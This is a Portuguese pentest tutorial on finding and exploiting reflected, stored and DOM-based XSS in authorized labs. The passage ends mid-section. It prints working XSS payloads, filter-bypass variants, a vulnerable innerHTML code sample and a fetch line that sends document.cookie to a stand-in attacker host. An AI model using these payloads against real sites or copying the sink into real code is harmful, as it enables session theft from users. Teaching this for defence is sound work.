Pular para o conteúdo
Categoria: Pentest & Hacking Ético13 min de leitura

'XSS na prática: explorando Cross-Site Scripting eticamente'

Por Lucas Andrade ·

Demonstração ética de como o Cross-Site Scripting é explorado, os tipos refletido, armazenado e DOM, e por que a sanitização correta é a defesa essencial.

Cross-Site Scripting (XSS) é a falha que permite injetar JavaScript malicioso numa página confiável, executado no navegador de outras vítimas. É uma das vulnerabilidades web mais comuns e mal compreendidas. Neste guia, vamos explorá-la na prática — sempre em laboratório autorizado — para entender o impacto e por que a sanitização é indispensável.

A meta é didática: ao ver como o XSS funciona por dentro, você aprende a detectá-lo e corrigi-lo. Se quiser revisar a fundação conceitual antes, leia O que é XSS (Cross-Site Scripting)?. Aqui, o foco é a exploração dentro da Metodologia de pentest: as fases de um teste de invasão.

Aviso ético

Executar XSS contra usuários reais sem autorização é crime e causa dano a pessoas. Pratique apenas em:

  • Aplicações deliberadamente vulneráveis (DVWA, OWASP Juice Shop).
  • Ambientes de treino e desafios de O que é um CTF? Aprenda hacking jogando.
  • Programas de bug bounty com escopo definido.

Cada payload deste artigo serve para compreensão e correção, não para ataque.

O que é XSS, em uma frase

XSS ocorre quando uma aplicação reflete ou armazena entrada do usuário sem tratá-la, e o navegador a interpreta como código. O navegador confia no script porque ele veio do domínio legítimo — e é justamente essa confiança que o ataque sequestra.

O guia de testes da OWASP trata o XSS como um dos vetores de injeção mais frequentes em aplicações web, exigindo testes sistemáticos de cada ponto de entrada (OWASP Foundation, 2020).

Por que o navegador "cai" no golpe

Para entender o XSS, é preciso entender a Same-Origin Policy, a regra que isola sites uns dos outros no navegador. Um script de banco.com pode ler os cookies e o DOM de banco.com, mas não os de outrosite.com. Essa fronteira é o que mantém a web segura. O XSS é tão perigoso justamente porque viola essa regra por dentro: o script malicioso é executado como se fosse da própria origem, então ele herda todas as permissões de um script legítimo daquele domínio — acesso a cookies, ao armazenamento local e à sessão da vítima. Não há sandbox; para o navegador, é código de casa.

Os três tipos de XSS

A exploração depende de qual tipo você enfrenta.

XSS Refletido

O payload viaja na requisição (em geral por um parâmetro de URL) e é refletido na resposta imediatamente. Não é persistente: depende de fazer a vítima clicar num link preparado.

https://busca.exemplo.com/?q=<script>alert(document.cookie)</script>

Se o termo de busca é exibido sem tratamento, o script roda no navegador de quem abrir o link.

Por depender de engenharia social — convencer a vítima a clicar —, o XSS refletido costuma chegar via e-mail de phishing, mensagem ou link encurtado que disfarça o payload. O atacante explora a confiança da vítima no domínio legítimo: o link aponta de fato para o site real, então passa por verificações superficiais.

XSS Armazenado

Aqui o payload é salvo no servidor (num comentário, perfil ou mensagem) e servido a todos que visualizam aquela página. É o mais perigoso, pois não exige enganar a vítima individualmente — basta ela visitar a página infectada.

<!-- Enviado como comentário e persistido no banco -->
<script>fetch('https://atacante.exemplo/c?x='+document.cookie)</script>

O alcance é o que assusta: um único comentário malicioso numa página popular atinge todos os visitantes, incluindo administradores. Há casos históricos de "worms" de XSS armazenado em redes sociais, onde o payload, ao executar no perfil de uma vítima, se replicava automaticamente para os contatos dela — propagando-se de forma exponencial sem nenhuma ação adicional do atacante.

XSS baseado em DOM

O payload nunca chega ao servidor: a vulnerabilidade está no JavaScript do cliente, que manipula o DOM com dados não confiáveis (por exemplo, lendo location.hash e injetando no HTML).

// Código cliente vulnerável
document.getElementById('saudacao').innerHTML = location.hash.substring(1);
https://app.exemplo.com/#<img src=x onerror=alert(1)>

O XSS de DOM é particularmente sorrateiro porque a defesa do servidor não ajuda: como o payload pode viver inteiramente no fragmento da URL (depois do #), que o navegador nunca envia ao servidor, nenhum filtro do lado servidor o vê passar. A falha mora no fluxo de dados dentro do JavaScript do cliente — de uma source (uma fonte controlável pelo usuário, como location.hash) até uma sink perigosa (como innerHTML ou eval). Encontrá-lo exige ler o código JavaScript do front, não apenas observar requisições.

Anatomia de um payload

Antes de testar, vale entender por que payloads tão diferentes funcionam. O exemplo <script>alert(1)</script> é o mais óbvio, mas raramente o mais útil em testes reais, porque muitas aplicações filtram a tag <script> ou ela não executa quando inserida via innerHTML. Os payloads mais robustos exploram manipuladores de eventos:

<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onpageshow=alert(1)>

A lógica do <img src=x onerror=...> é elegante: a imagem x não existe, o carregamento falha, e o navegador dispara o evento onerror — executando o JavaScript ali colocado. Esses vetores funcionam mesmo onde <script> é bloqueado, porque dependem de atributos de eventos em tags comuns. Conhecer essa variedade é o que permite contornar filtros ingênuos durante um teste autorizado.

Passo 1: detectar o ponto de injeção

A detecção começa testando cada entrada que se reflete na página: campos de busca, parâmetros de URL, formulários, cabeçalhos. Um payload de teste simples ajuda a ver se há filtragem:

<script>alert(1)</script>
"><img src=x onerror=alert(1)>
'><svg onload=alert(1)>

Observe a resposta: se as tags aparecem íntegras no código-fonte (sem escapar < para &lt;), há forte indício de XSS. Um proxy acelera muito esse trabalho de variar payloads e inspecionar respostas, como mostramos em Burp Suite: o canivete suíço do pentester web.

A importância do contexto de reflexão

Detectar reflexão é só metade do trabalho; você precisa saber onde o dado cai na página, porque isso determina qual payload funciona. O mesmo input pode ser refletido em contextos diferentes:

  • Dentro do corpo HTML:
    SEU_INPUT
    — aqui basta injetar uma tag.
  • Dentro de um atributo: — você precisa primeiro "sair" do atributo com "> antes de injetar.
  • Dentro de um bloco